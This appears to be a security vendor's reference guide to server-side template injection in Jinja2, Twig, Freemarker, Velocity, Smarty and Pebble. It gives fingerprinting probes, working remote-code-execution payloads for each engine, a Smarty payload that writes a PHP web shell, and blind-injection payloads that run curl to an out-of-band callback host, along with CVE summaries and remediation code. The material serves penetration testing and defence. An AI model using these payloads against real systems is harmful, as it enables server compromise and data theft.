SSTI comparative overview (CWE-94) across 6 engines (Jinja2, Twig, Freemarker, Velocity, Smarty, Pebble) — polyglot probes, sandbox-escape paths, and detection signals.
TL;DR
${{<%[%'"}}%\ fingerprints the engine via its error signature in a single probe (Korchagin 2025, PortSwigger Rank #1){{7*'7'}}: Jinja2 → 49, Twig → 7777777 — one-shot engine identification{php} tag), Pebble (ClassLoader)Server-Side Template Injection (SSTI) belongs to the CWE-94 code injection family applied specifically to server-side template engines. The engine evaluates attacker-controlled expressions on the server and returns rendered output in the HTTP response. The key diagnostic: submit {{7*7}} — if 49 appears in the raw HTTP response body (confirmed with curl -s), the evaluation happened server-side and the vulnerability is SSTI. If 49 appears only after the browser runs JavaScript, it is Client-Side Template Injection (CSTI), a distinct vulnerability class with different remediation.
SSTI is classified under OWASP A03:2021 (Injection) and CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine) for engine-level injection, or CWE-94 (Improper Control of Generation of Code) for the broader code injection pattern. The impact ceiling is Remote Code Execution under the application process's privileges — equivalent to direct server access. CVSS scores range from 8.5 (authenticated, limited context) to 10.0 (unauthenticated, network-reachable, as in CVE-2023-22527 and CVE-2025-32432).
The root cause is universal across all engines: user input enters the template pipeline as source code rather than as a data variable.
# Flask/Jinja2 — root cause pattern (universal across all engines)
# VULNERABLE — user_input is template source
render_template_string(f"Hello {user_input}!")
# SAFE — user_input is a rendering variable
render_template("greet.html", name=user_input)This pattern repeats identically in PHP/Twig, Java/Freemarker, Java/Velocity, PHP/Smarty, and Java/Pebble. The engine cannot distinguish developer-authored syntax from attacker-injected syntax — it evaluates both.
Six template engines dominate the SSTI threat landscape. Each has a distinct delimiter syntax, sandbox model, and primary RCE path:
| Engine | Language | Delimiter | {{7*7}} | {{7*'7'}} | Sandbox Default | Primary RCE Chain |
|---|---|---|---|---|---|---|
| Jinja2 | Python | {{ }} | 49 | 49 | SandboxedEnvironment (opt-in) | cycler.__init__.__globals__.os.popen('id').read() |
| Twig | PHP | {{ }} | 49 | 7777777 | SecurityPolicy (opt-in) | _self.env.registerUndefinedFilterCallback("system") |
| Freemarker | Java | ${ }, <#> | 49 | N/A | SAFER_RESOLVER (opt-in) | "freemarker.template.utility.Execute"?new()("id") |
| Velocity | Java | $var, #set | N/A | N/A | SecureUberspector (opt-in) | #set($rt=$Class.inspect("java.lang.Runtime").type)$rt.getRuntime().exec("id") |
| Smarty | PHP | { } | N/A | N/A | Security object (opt-in) | {php}system('id');{/php} (< 3.1.39) |
| Pebble | Java | {{ }}, {% %} | 49 | 49 | Extension sandboxing | {{ "".class.forName("java.lang.Runtime").getMethod("exec","".class).invoke(...) }} |
Key observations from this matrix:
{{7*'7'}} returns a different result than Jinja2 — this single probe definitively separates them.${...} vs {{...}} — making engine identification straightforward from the delimiter alone before any evaluation.The Korchagin universal polyglot triggers a syntax error in every engine simultaneously:
${{<%[%'"}}%\Submit this string as any user-controlled parameter. The response error message identifies the engine with high precision:
| Engine | Error Signature |
|---|---|
| Jinja2 | jinja2.exceptions.TemplateSyntaxError: unexpected '<' |
| Twig | Twig\Error\SyntaxError: Unexpected token |
| Freemarker | freemarker.core.ParseException: Encountered "{" |
| Velocity | org.apache.velocity.exception.ParseErrorException |
| Smarty | Smarty Template Exception: syntax error |
| Pebble | com.mitchellbosecke.pebble.error.ParserException |
| Mako | mako.exceptions.SyntaxException |
| EJS | SyntaxError: Unexpected end of input |
This technique — named "Successful Errors" by Vladislav Korchagin — was ranked the most impactful web hacking research of 2025 by PortSwigger. It is integrated into SSTImap v1.3.0, Burp Suite Pro 2025's SSTI extensive scan profile, and BreachVex's engine-fingerprinting detection.
After polyglot fingerprinting, confirm with arithmetic probes specific to the identified engine family:
# Double-brace engines (Jinja2, Twig, Pebble, Tornado)
{{7*7}} → 49 (all four engines)
{{7*'7'}} → 49 (Jinja2, Pebble) vs 7777777 (Twig)
# Dollar-brace engines (Freemarker, Velocity, SpEL, EL)
${7*7} → 49 (Freemarker, SpEL, EL)
$math.add(2,2) → 4 (Velocity — uses Velocity Math Tool)
# ERB-style (Ruby ERB, Slim, Crystal)
<%= 7*7 %> → 49
# Confirm with two additional probes to rule out caching
{{8*9}} → 72
{{13*13}} → 169Reproduce three different arithmetic results before concluding template execution. A single match could be coincidental; three independent arithmetic results are not.
# Stage 1 — Confirm engine
{{7*'7'}} # → 49 (Jinja2), not 7777777 (Twig)
# Stage 2 — Information disclosure
{{ config.items() }} # Flask config: SECRET_KEY, DATABASE_URL, etc.
# Stage 3 — RCE via cycler builtin (bypasses __class__/__mro__ filters)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Alternate: lipsum builtin (dict access, bypasses dot notation filters)
{{ lipsum.__globals__['os'].popen('id').read() }}
# Alternate: MRO traversal (verbose, Python-version dependent index N)
{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}CVE relevance: Jinja2 SSTI at the application level is most commonly seen in Flask applications misusing render_template_string(). CVE-2024-56201 (Jinja2 3.1.4, CVSS 7.8, path traversal via FileSystemLoader) demonstrates that attack surface extends beyond render_template_string misuse.
# Stage 1 — Confirm Twig (not Jinja2)
{{7*'7'}} # → 7777777 (Twig string repetition)
# Stage 2 — Information disclosure
{{_self.env}} # Twig environment object dump
# Stage 3 — RCE via _self global and registerUndefinedFilterCallback
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
# Alternate: PHP sort filter with callable
{{"id"|filter("system")}} # Twig 3.x+ with SecurityPolicy not enforcedCVE relevance: CVE-2025-32432 (Craft CMS Twig, CVSS 10.0, CISA KEV 2025-04-29) — unauthenticated injection via asset transform preview. CVE-2022-23614 (Twig 2.x/3.x sandbox escape via sort filter callback, CVSS 8.8).
// Stage 1 — Confirm Freemarker
${7*7} // → 49
// Stage 2 — Information disclosure
${.now} // Server timestamp
${.version} // Freemarker version
// Stage 3 — RCE via Execute builtin
${"freemarker.template.utility.Execute"?new()("id")}
// Alternate: ObjectConstructor
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"]).start()}
// Blocked by SAFER_RESOLVER — use ClassInfo if available
${product.class.forName("java.lang.Runtime").getMethod("exec","".class.forName("java.lang.String")).invoke(product.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}CVE relevance: CVE-2022-22963 (Spring Cloud Function SpEL injection, CVSS 9.8, CISA KEV) exploits the same Java expression language injection pattern as Freemarker in Spring applications.
// Stage 1 — Confirm Velocity
#set($x = 7)$x // → 7
// Stage 2 — Information disclosure
$request.getServletContext().getRealPath("/")
// Stage 3 — RCE via ClassTool (Velocity Tools library)
#set($rt = $Class.inspect("java.lang.Runtime").type)
#set($proc = $rt.getRuntime().exec("id"))
#set($inputStream = $proc.getInputStream())
// Read stream...
// Without ClassTool — use available objects
#set($proc = $velocityCount.class.forName("java.lang.Runtime").getMethod("exec",$velocityCount.class.forName("java.lang.String")).invoke($velocityCount.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke($null),"id"))CVE relevance: CVE-2023-22527 (Atlassian Confluence Velocity, CVSS 10.0, CISA KEV 2024-01-23) — the most-exploited SSTI CVE of 2024-2026. Actively used by ransomware groups.
// Stage 1 — Confirm Smarty
{$smarty.version} // → Smarty version string
// Stage 2 — Information disclosure
{$smarty.server.SERVER_ADDR}
// Stage 3 — RCE (Smarty < 3.1.39 — {php} tag enabled by default)
{php}system('id');{/php}
// Smarty >= 3.1.39 — {php} disabled, use getStreamVariable
{$smarty.template_object->smarty->registered_plugins}
// Or Smarty_Internal_Write_File::writeFile injection
{Smarty_Internal_Write_File::writeFile($SCRIPT_FILENAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}CVE relevance: CVE-2021-26120 (Smarty sandbox escape via math function, CVSS 9.8). CVE-2021-29454 (Smarty string_tags sandbox bypass, CVSS 8.8). Post-3.1.39 bypass chains remain active.
// Stage 1 — Confirm Pebble
{{ 7*7 }} // → 49
// Stage 2 — Information disclosure
{{ "" }} // Empty string — check for verbose error with class info
// Stage 3 — RCE via ClassLoader (when Java security manager absent)
{{ "".class.forName("java.lang.Runtime").getMethod("exec","".class).invoke("".class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id").text }}
// Alternate: accessing request attributes in Spring context
{{ request.servletContext.classLoader.loadClass("java.lang.Runtime").getMethod("exec",...) }}Pebble is most commonly found in Spring Boot applications using Pebble Spring Boot Starter. Its sandbox relies on Java's security manager, which is deprecated as of Java 17 and removed in Java 21.
When template output is suppressed (blind SSTI), use out-of-band callbacks to confirm execution:
# Jinja2 — DNS callback via os.popen
{{ cycler.__init__.__globals__.os.popen('curl http://TOKEN.oast.pro').read() }}
# Freemarker — DNS callback via Execute
${"freemarker.template.utility.Execute"?new()("curl http://TOKEN.oast.pro")}
# Velocity — DNS callback via Runtime.exec
#set($rt = $Class.inspect("java.lang.Runtime").type)
#set($p = $rt.getRuntime().exec(["curl","http://TOKEN.oast.pro"]))
# Twig — DNS callback via PHP system callback
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://TOKEN.oast.pro")}}Replace TOKEN.oast.pro with an Interactsh or Burp Collaborator subdomain. A DNS or HTTP hit confirms code execution without requiring visible output. Correlate by unique per-probe token to distinguish simultaneous probes.
CVE-2023-22527 — Atlassian Confluence Velocity (CVSS 10.0, CISA KEV 2024-01-23)
The text-inline.vm Velocity template accepted a user-controlled label parameter evaluated as OGNL in the Struts2 action context. An unauthenticated attacker POST to /template/aui/text-inline.vm with OGNL expressions invoked Runtime.exec() without any credentials. Added to CISA KEV seven days after disclosure. Ransomware groups confirmed active exploitation through 2025-2026; over 11,000 internet-facing instances were vulnerable at disclosure. Patched in Confluence 8.5.4+.
CVE-2025-32432 — Craft CMS Twig (CVSS 10.0, CISA KEV 2025-04-29)
Craft CMS before 3.9.14 / 4.13.2 / 5.6.17 accepted Twig expressions as the transform parameter in the asset preview endpoint. The engine rendered the input without any SecurityPolicy sandbox: {{ ['id']|filter('system')|join }} executed OS commands as the web server process. Added to CISA KEV within 24 hours of public disclosure, with active exploitation confirmed the same day.
CVE-2025-41253 — Spring Cloud Gateway SpEL (CVSS 8.6)
Spring Cloud Gateway with the actuator endpoint exposed allowed SpEL injection via route definition HTTP API. Attackers with network access to the actuator (often on internal networks without authentication) could inject @systemProperties and @systemEnvironment references to exfiltrate database credentials, JWT signing keys, and API tokens from the running JVM environment.
CVE-2020-13936 — Velocity Sandbox Escape (CVSS 9.8)
Apache Velocity Engine before 2.3 allowed sandbox escape via the $class and $context references to access Java reflection APIs. Velocity templates with SecureUberspector disabled could invoke java.lang.Runtime.exec() through ClassInfo traversal. This CVE established that the Velocity SecureUberspector is a recommended, not default, configuration — a systemic misconfiguration pattern still present in legacy Spring/Struts deployments.
CVE-2023-22527 (Confluence Velocity) remains actively exploited in 2026. Unpatched instances are reliably compromised within days of internet exposure. Verify Confluence version is 8.5.4+ or 8.6.0+ before any external network exposure.
Identify every input reflected in rendered output: URL parameters, POST body fields, HTTP headers, profile display names, email template previews, CMS WYSIWYG editors, report names, notification subjects.
Submit the Korchagin universal polyglot in each parameter:
${{<%[%'"}}%\An exception or malformed output (rather than the literal string echoed back) indicates a template context. Cross-reference error signature with engine table above.
Submit delimiter-specific arithmetic probes:
{{7*7}} → 49 (Jinja2, Twig, Pebble, Tornado)
${7*7} → 49 (Freemarker, SpEL, EL)Apply the Twig vs Jinja2 differential:
{{7*'7'}} → 49 = Jinja2/Pebble
→ 7777777 = TwigConfirm with two additional arithmetic probes: {{8*9}} → 72, {{13*13}} → 169.
Test blind contexts via OOB callback or time-based delay.
# SSTImap v1.3.0 — 44-engine support, Korchagin error-based
sstimap -u "http://target.com/greet?name=*"
sstimap -u "http://target.com/render" -d "template=*" -X POST
# tplmap — stable legacy tool
tplmap.py -u "http://target.com/greet?name=*"
# Nuclei — CVE-specific templates
nuclei -t cves/ -tags ssti -u http://target.com
# Semgrep SAST
semgrep --config "p/flask" . # Flask/Jinja2
semgrep --config "p/java" . # Freemarker/Velocity/PebbleBreachVex confirms SSTI through multiple complementary techniques: math-evaluation probing, Korchagin polyglot engine fingerprinting, server-side property dumps reproduced multiple times, and out-of-band DNS callbacks with per-probe correlation — every finding backed by proof of execution.
The defense is identical across all six engines: pass user input as a rendering variable, never as template source.
# Flask/Jinja2
return render_template("page.html", name=user_input) # safe
# NEVER: render_template_string(f"Hello {user_input}!")// Twig
echo $twig->render('page.html.twig', ['name' => $userInput]); // safe
// NEVER: $twig->createTemplate($_POST['template'])// Freemarker
Template t = cfg.getTemplate("page.ftl"); // pre-compiled
t.process(Map.of("name", userInput), out); // safe
// NEVER: new Template("user", new StringReader(userInput), cfg)// Velocity
Template t = ve.getTemplate("page.vm"); // pre-compiled
context.put("name", userInput); // safe data variable
t.merge(context, writer);
// NEVER: Velocity.evaluate(context, writer, "user", userInput)If user-defined templates are a product requirement, apply the strictest sandbox configuration available and audit against published bypass chains for the specific engine version. Monitor NVD and engine security advisories continuously. See the engine-specific pages for detailed sandbox hardening configurations.
Server-Side Template Injection (SSTI) occurs inside template engines executing on the server. The rendered expression result appears directly in the raw HTTP response body — visible with curl before any JavaScript runs. Client-Side Template Injection (CSTI) occurs in JavaScript template engines running in the browser (AngularJS, Vue.js). The payload {{7*7}} only evaluates to 49 in the browser DOM after hydration. To differentiate: request the URL with a non-browser user-agent — if 49 appears in the raw HTTP response, it is SSTI.
The Korchagin universal polyglot ${{<%['"}}%\ simultaneously triggers syntax errors in every major template engine. Submit it in any user-controlled parameter. Cross-reference the error message with each engine's signature: jinja2.exceptions.TemplateSyntaxError for Jinja2, Twig\Error\Syntax for Twig, freemarker.core.ParseException for Freemarker. This single probe identifies the engine without requiring prior knowledge of the stack. Ranked #1 in PortSwigger Top 10 Web Hacking Techniques 2025.
Submit {{7*'7'}}. Jinja2 evaluates truthy multiplication and returns 49. Twig treats the expression as string repetition and returns 7777777. This differential probe is the canonical one-shot Jinja2 vs Twig discriminator, used before any exploitation attempt to avoid sending the wrong payload chain.
All six major engines have published RCE chains: Jinja2 via cycler.__init__.__globals__.os.popen(); Twig via _self.env.registerUndefinedFilterCallback('system'); Freemarker via 'freemarker.template.utility.Execute'?new(); Velocity via #set($rt=$Class.inspect('java.lang.Runtime').type); Smarty via {php}system('id');{/php} in versions before 3.1.39; Pebble via getClass().getClassLoader() chain. Sandboxing delays exploitation but no engine sandbox is escape-proof.
${7*7} (dollar-brace syntax) indicates Freemarker, Velocity, Spring Expression Language (SpEL), or Thymeleaf. {{7*7}} (double-brace) indicates Jinja2, Twig, Pebble, or Tornado. The delimiter distinguishes Java-ecosystem template engines from Python/PHP engines. Submit both variants when the engine is unknown.
CVE-2023-22527 (Atlassian Confluence Velocity, CVSS 10.0, CISA KEV 2024-01-23, ransomware-exploited through 2026), CVE-2025-32432 (Craft CMS Twig, CVSS 10.0, CISA KEV 2025-04-29, unauthenticated), CVE-2025-54253 (Adobe AEM Forms OGNL, CVSS 10.0, CISA KEV 2025-08-21), CVE-2025-41253 (Spring Cloud Gateway SpEL, CVSS 8.6), CVE-2022-23614 (Twig sandbox escape, CVSS 8.8), CVE-2020-13936 (Velocity sandbox escape, CVSS 9.8).
The safest approach is to not allow user-defined templates at all. If unavoidable: (1) use the engine's strictest sandbox mode (SandboxedEnvironment in Jinja2, ALLOWS_NOTHING_RESOLVER in Freemarker, SecurityPolicy in Twig, SecureUberspector in Velocity); (2) clear all globals and globals-derived objects; (3) allowlist only the specific filters and functions required; (4) audit the resulting sandbox configuration against published bypass chains for that engine version. Monitor for new bypass CVEs continuously.
Freemarker uses ${expression} and <#assign> syntax (Java ecosystem, Spring applications). The primary RCE built-in is ?new() which instantiates arbitrary Java classes: 'freemarker.template.utility.Execute'?new()(). The SAFER_RESOLVER configuration blocks this specific chain. Jinja2 uses {{expression}} (Python ecosystem, Flask). Its RCE relies on Python's MRO object traversal or the cycler/lipsum globals bypass. Each engine requires a distinct payload set — cross-engine payloads will be rejected by the lexer.
Yes. Blind SSTI uses two techniques: (1) Time-based: inject a sleep expression — {{config.items()|list|sort}} with a large list to induce processing delay, or engine-specific sleep primitives. (2) Out-of-band (OOB): inject an OS command that issues a DNS or HTTP request to an Interactsh/Burp Collaborator listener — {{ cycler.__init__.__globals__.os.popen('curl TOKEN.oast.pro').read() }} in Jinja2. OOB is more reliable than time-based and provides engine confirmation via the command execution itself.
python.flask.security.injection.tainted-string-format catches render_template_string() receiving user-controlled input via Flask request context. python.jinja2.security.audit.jinja2-autoescape-disabled catches disabled autoescape. java.freemarker.security.template-injection detects StringReader instantiation with user-controlled input passed to Template(). For Twig: php.twig.security.twig-template-injection catches $twig->createTemplate() with user input.
SSTImap v1.3.0 submits the Korchagin polyglot to identify the engine via error signature, then applies engine-specific payload chains to confirm evaluation and attempt OS command execution. tplmap uses arithmetic probe sequences per engine and differential responses for engine fingerprinting. Burp Suite Pro 2025's SSTI extensive scan profile integrates Korchagin probes and arithmetic differentials. All three tools support OOB callbacks via Burp Collaborator or Interactsh for blind SSTI contexts.
1. Identify all user-controlled inputs reflected in rendered output. 2. Submit the Korchagin polyglot ${{<%['"}}%\ to detect template context via error response. 3. Submit {{7*7}} and ${7*7} to identify delimiter family. 4. Apply the {{7*'7'}} differential to distinguish Jinja2 from Twig. 5. Confirm with two additional arithmetic probes ({{8*9}}→72, {{13*13}}→169) to rule out caching. 6. Apply the engine-specific information disclosure payload ({{ config.items() }} for Jinja2, {{_self.env}} for Twig, ${.now} for Freemarker). 7. Apply the engine-specific RCE chain as proof-of-concept. 8. Document with OOB callback for blind contexts.